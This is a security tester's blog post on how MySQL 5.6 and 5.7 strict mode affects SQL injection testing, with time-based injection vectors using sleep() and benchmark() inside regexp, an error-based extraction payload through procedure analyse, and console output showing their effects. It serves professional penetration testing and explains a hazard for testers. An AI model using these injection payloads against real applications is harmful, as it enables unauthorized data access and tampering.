SQL Injection testing in the recent MySQL

2016.09.05
Takeshi Terada, Professional Service Div.

A number of changes were introduced in MySQL v5.6 and 5.7.

In this post, I would like to discuss some of the changes that can affect how we detect and exploit SQLi vulns in MySQL-based web applications. The main topic is STRICT_TRANS_TABLES mode which was added to the default sql_mode in v5.6.

What is STRICT_TRANS_TABLES?

STRICT_TRANS_TABLES is a mode that can be included in sql_mode of MySQL>=5.0.2. With this value, MySQL validates data in update SQL statements (e.g. UPDATE and INSERT) in a stricter manner.

The mode isn't enabled in many web applications using v5.5.x or below, because the mode isn't enabled by default in the versions. Note that applications using Connector/J, a JDBC driver which has long been enabling the mode on the driver's side by default, are the exceptions.

In v5.6, the mode is enabled in MySQL's default config file (my.ini or my.cnf).

[default config file]
sql_mode=NO_ENGINE_SUBSTITUTION,STRICT_TRANS_TABLES

[MySQL console]
mysql> SELECT @@GLOBAL.sql_mode;
+--------------------------------------------+
| @@GLOBAL.sql_mode                          |
+--------------------------------------------+
| STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION |
+--------------------------------------------+
1 row in set (0.00 sec)

In v5.7, the mode is enabled even if the config file lacks explicit sql_mode designation.

Now, let's see the details of the mode and how it can affect our security test work.

String truncation

Under some conditions, MySQL truncates strings given in update statements (e.g. UPDATE and INSERT). As an example, let's insert a 20-byte string into a varchar(10) column.

mysql> INSERT INTO test1 VALUES ('abcdefghijklmnopqrst');
Query OK, 1 row affected, 1 warning (0.01 sec)

mysql> SELECT * FROM test1;
+------------+
| foo        |
+------------+
| abcdefghij |
+------------+
1 row in set (0.00 sec)

The string stored in the table is truncated to the column size.

This behavior can be used for a security bypass because the input data is changed (truncated) after the application performs some sort of input validation. WordPress's CVE-2008-4106 is an older bug example of the type, and Bugzilla's CVE-2015-4499 is a newer one.

Another type of truncation occurs when a string contains invalid characters. For instance, when the table's charset is utf8 (utf8_general_ci collation) and the string being stored in the column contains a 4-byte character, MySQL truncates the string at the character. This technique gathered attention when Joomla's CVE-2015-8562 (slides by Tokumaru[ja]) was disclosed.

Let's see how STRICT_TRANS_TABLES prevents these attacks in v5.6.

mysql> INSERT INTO test1 VALUES ('abcdefghijklmnopqrst');
ERROR 1406 (22001): Data too long for column 'foo' at row 1

mysql> INSERT INTO test1 VALUES ('ab🍒cd');
ERROR 1366 (HY000): Incorrect string value: '\xF0\x9F\x8D\x92cd' for column 'foo' at row 1

With the mode enabled, MySQL raises an error instead of silently truncating the data.

Silent type conversion

STRICT_TRANS_TABLES mode also changes how MySQL performs type conversion. Secure applications aren't affected by it, but it poses a risk to "security testing" when the application is insecure.

Let me briefly explain what silent type conversion is and why it can be hazardous.

Well, security testers sometimes use string concatenation in SQLi testing. One example is test'+', which is a generic vector for MSSQL testing. However, it may cause an unexpected result in MySQL applications. Let's see an example taken from my old personal blog [ja].

The product table contains four records.

mysql> SELECT * FROM product;
+----+-----------+--------+-------+
| no | category  | name   | price |
+----+-----------+--------+-------+
|  0 | vegetable | tomato |   100 |
|  1 | vegetable | carot  |    80 |
|  2 | fruit     | orange |   200 |
|  3 | fruit     | apple  |   300 |
+----+-----------+--------+-------+
4 rows in set (0.00 sec)

Let's assume that a tester supplied a value tomato'+'.

The resulting SQL query is as follows (injected part is highlighted):

mysql> SELECT * FROM product WHERE name='tomato'+'';
+----+-----------+--------+-------+
| no | category  | name   | price |
+----+-----------+--------+-------+
|  0 | vegetable | tomato |   100 |
|  1 | vegetable | carot  |    80 |
|  2 | fruit     | orange |   200 |
|  3 | fruit     | apple  |   300 |
+----+-----------+--------+-------+
4 rows in set, 5 warnings (0.00 sec)

As shown above, all four records including the three non-"tomato" records are returned.

The reason why this happens is that string-to-numeric conversion occurs in the both hand of the equation (name='tomato'+'') and either hand comes to the same value, zero. The conversion occurs because the right-hand contains an arithmetic operator (+), and either hand comes to zero because any non-numeric-looking string is regarded as zero.

Imagine what the result would be if it happens in UPDATE or DELETE. Here is the result in v5.5 w/o STRICT_TRANS_TABLES mode.

mysql> UPDATE product SET price=999 WHERE name='tomato'+'';
Query OK, 4 rows affected, 8 warnings (0.00 sec)
Rows matched: 4  Changed: 4  Warnings: 8

mysql> SELECT * FROM product;
+----+-----------+--------+-------+
| no | category  | name   | price |
+----+-----------+--------+-------+
|  0 | vegetable | tomato |   999 |
|  1 | vegetable | carot  |   999 |
|  2 | fruit     | orange |   999 |
|  3 | fruit     | apple  |   999 |
+----+-----------+--------+-------+
4 rows in set (0.00 sec)

All four records were updated. This shows that, if we use a vector like '+' inadvertently, we would face an unexpected consequence such as updating or deleting all the records in the table.

This isn't something hypothetical. Slides by zaki4649 [ja] are telling a true story in which a tester reset all users' password just by sending '+' while testing forgotten password function (recall that testers occasionally work with production systems). And I must admit that I myself experienced a similar trouble in the past.

However, such tragedy will be a thing of the past, thanks to STRICT_TRANS_TABLES mode.

Let's execute the same UPDATE statement in v5.6 with the mode.

mysql> UPDATE product SET price=999 WHERE name='tomato'+'';
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'tomato'

This time, MySQL detects aggressive conversions and raises an error, instead of silently converting the value. Great! The mode makes our testing work a little safer.

How STRICT_TRANS_TABLES affected our security test work?

However, STRICT_TRANS_TABLES makes our work, detecting SQLi bugs, a little tougher.

Let's suppose that we are working with the following four vulnerable update statements.

UPDATE product SET price=999 WHERE name='tomato';
UPDATE product SET category='fruit' WHERE name='tomato';
DELETE FROM product WHERE name='tomato';
INSERT INTO product VALUES (4,'fruit','lemon', 50);

Also suppose that we want to detect SQLi bugs using a single time-based SQLi vector. Here is an example vector I created in the past.

param=[Original value]'-sleep(3)|(select 0 union select 1)-'

* "union select 1" is used to cause a runtime error after delay. The purpose is to ensure that the sleep() is executed only once and the statement causes no data modification.

If the four statements with the vector are executed in v5.5.x or below w/o STRICT_TRANS_TABLES, sleep() in the vector above works and we can detect time-based SQLi bugs.

However, in v5.5.x or below with the mode, all the statements above except DELETE don't work. MySQL just throws "Truncated incorrect DOUBLE value" error immediately without causing delay.

Thus I had to come up with a different vector.

param=[Original value]'-(select * from (select sleep(3) union select 1)t)-'

This new one, which uses a nested subquery, works fine with all the four update statements.

Although this made our manual testing work a bit more painful, the problem was solved anyway. This is nice, but the story doesn't end here.

New behavior of STRICT_TRANS_TABLES in v5.6 or above

Since v5.6, the implementation of STRICT_TRANS_TABLES and/or sleep() have changed.

Sadly, the nested subquery vector above doesn't work in v5.6 or above. It just raises "Truncated ..." error with no time delay in update statements (to be precise, it causes delay only with DELETE in v5.6, but it doesn't work at all in v5.7).

Obviously, this new behavior of v5.6 and 5.7 is a headache for testers.

Here are a couple of ideas to solve the problem.

1. Use benchmark() with regexp

E.g. param=[Original value]'-(0 regexp if(benchmark(100000000,md5(1)),1,0x28))-'

E.g. param=0' and 0 or (select * from (select sleep(3) union select 1)t)='

The first one, benchmark() with regexp is what my scanner was using in the past [ja]. Interestingly, it works in the contexts where sleep() doesn't work. Also, it works in older versions not supporting sleep() (<v5.0.12). However, there are some drawbacks such as difficulty in estimating the delay time and the server's CPU load it may cause.

The latter one, sleep() with AND/OR allows us to specify the delay time explicitly, but it's a little bit context-dependent. For example, it doesn't work in the following contexts in v5.6 or above.

mysql> -- Injection in IN operator
mysql> UPDATE product SET price=999
    -> WHERE name IN ('0' and 0 or (select * from (select sleep(3) union select 1)t)='');
ERROR 1292 (22007): Truncated incorrect DOUBLE value: 'tomato'

mysql> -- Injection in an ignored condition block
mysql> UPDATE product SET price=999
    -> WHERE (category='non-existent')
    -> AND (name='0' and 0 or (select * from (select sleep(3) union select 1)t)='');
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> -- Injection in SET clause with no matching record
mysql> UPDATE product SET category='0'-(select * from (select sleep(3) union select 1)t)-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

Surprisingly, benchmark() with regexp vector works in any of these severe contexts.

The mystery of benchmark() and regexp

The mystery here is that benchmark() is invincible only if it occurs in the right argument of regexp.

mysql> -- benchmark() only - no delay
mysql> UPDATE product SET category='fruit'-benchmark(100000000,md5(1))-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

mysql> -- benchmark() with regexp - delay!
mysql> UPDATE product SET category='fruit'-(0 regexp benchmark(100000000,md5(1)))-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (18.78 sec)
Rows matched: 0  Changed: 0  Warnings: 0

This is probably because MySQL likes to pre-compile the regexp patterns in an early stage of the statement execution process. Therefore, functions such as benchmark() in the patterns are executed almost unconditionally.

Unfortunately, however, sleep() in the same place doesn't cause delay.

mysql> -- sleep() with regexp - no delay
mysql> UPDATE product SET category='fruit'-(0 regexp sleep(3))-''
    -> WHERE name='non-existent';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0

The reason I can think of is that MySQL skips the pre-compiling if the pattern contains special elements such like sleep(), rand() and complex subqueries. In this case, MySQL compiles it just-in-time, i.e. when it's really necessary, but the time never comes in the statement above.

Arguments of like and escape operator are pre-compiled in the same way. These can also be used to cause delay in some extreme cases.

Injection in LIMIT clause in v5.6 or above

The last topic is SQLi in LIMIT clause. Regarding this type of bug exploitation, Edward_L's blog post describes an interesting technique using procedure analyse.

The following is an error-based exploitation example in v5.5.x or below.

mysql> SELECT * FROM mysql.user WHERE Host='x' ORDER BY 1 LIMIT 1,1 procedure analyse(extractvalue(0,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.50'

Sadly, however, it no longer works in v5.6 or above. The following is the result in v5.6 and 5.7.

mysql> SELECT * FROM mysql.user WHERE Host='x' ORDER BY 1 LIMIT 1,1 procedure analyse(extractvalue(0,concat(0x3a,version())),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'extractvalue(0,concat(0x3a,version())),1)' at line 1

This change is caused by a far stricter syntax definition of procedure analyse added to the yacc file (sql_yacc.yy) in v5.6.

Presently, I have no idea on how to exploit this injection in v5.6 or above, because, after quickly reading the manual and the yacc file, I couldn't find any place that accepts arbitrary expressions ahead of the LIMIT clause. Thus, all we can exfiltrate would be nothing more than the MySQL's version obtained by MySQL-specific conditional comment syntax.

Another sad news is that, regardless of whether the statement has an ORDER BY clause or not, combination of LIMIT and UNION is no longer permitted in v5.7 due to a change in sql_lex.cc.

mysql> SELECT name FROM product LIMIT 1,1 UNION SELECT 0x30;
ERROR 1221 (HY000): Incorrect usage of UNION and LIMIT

The situation seems quite hopeless unless stacked query is available. The attack window is certainly getting narrower in the recent versions.

Test environments

The following versions of MySQL Community Server were used in my test.

* The "latest" at the time of this research (June to July, 2016).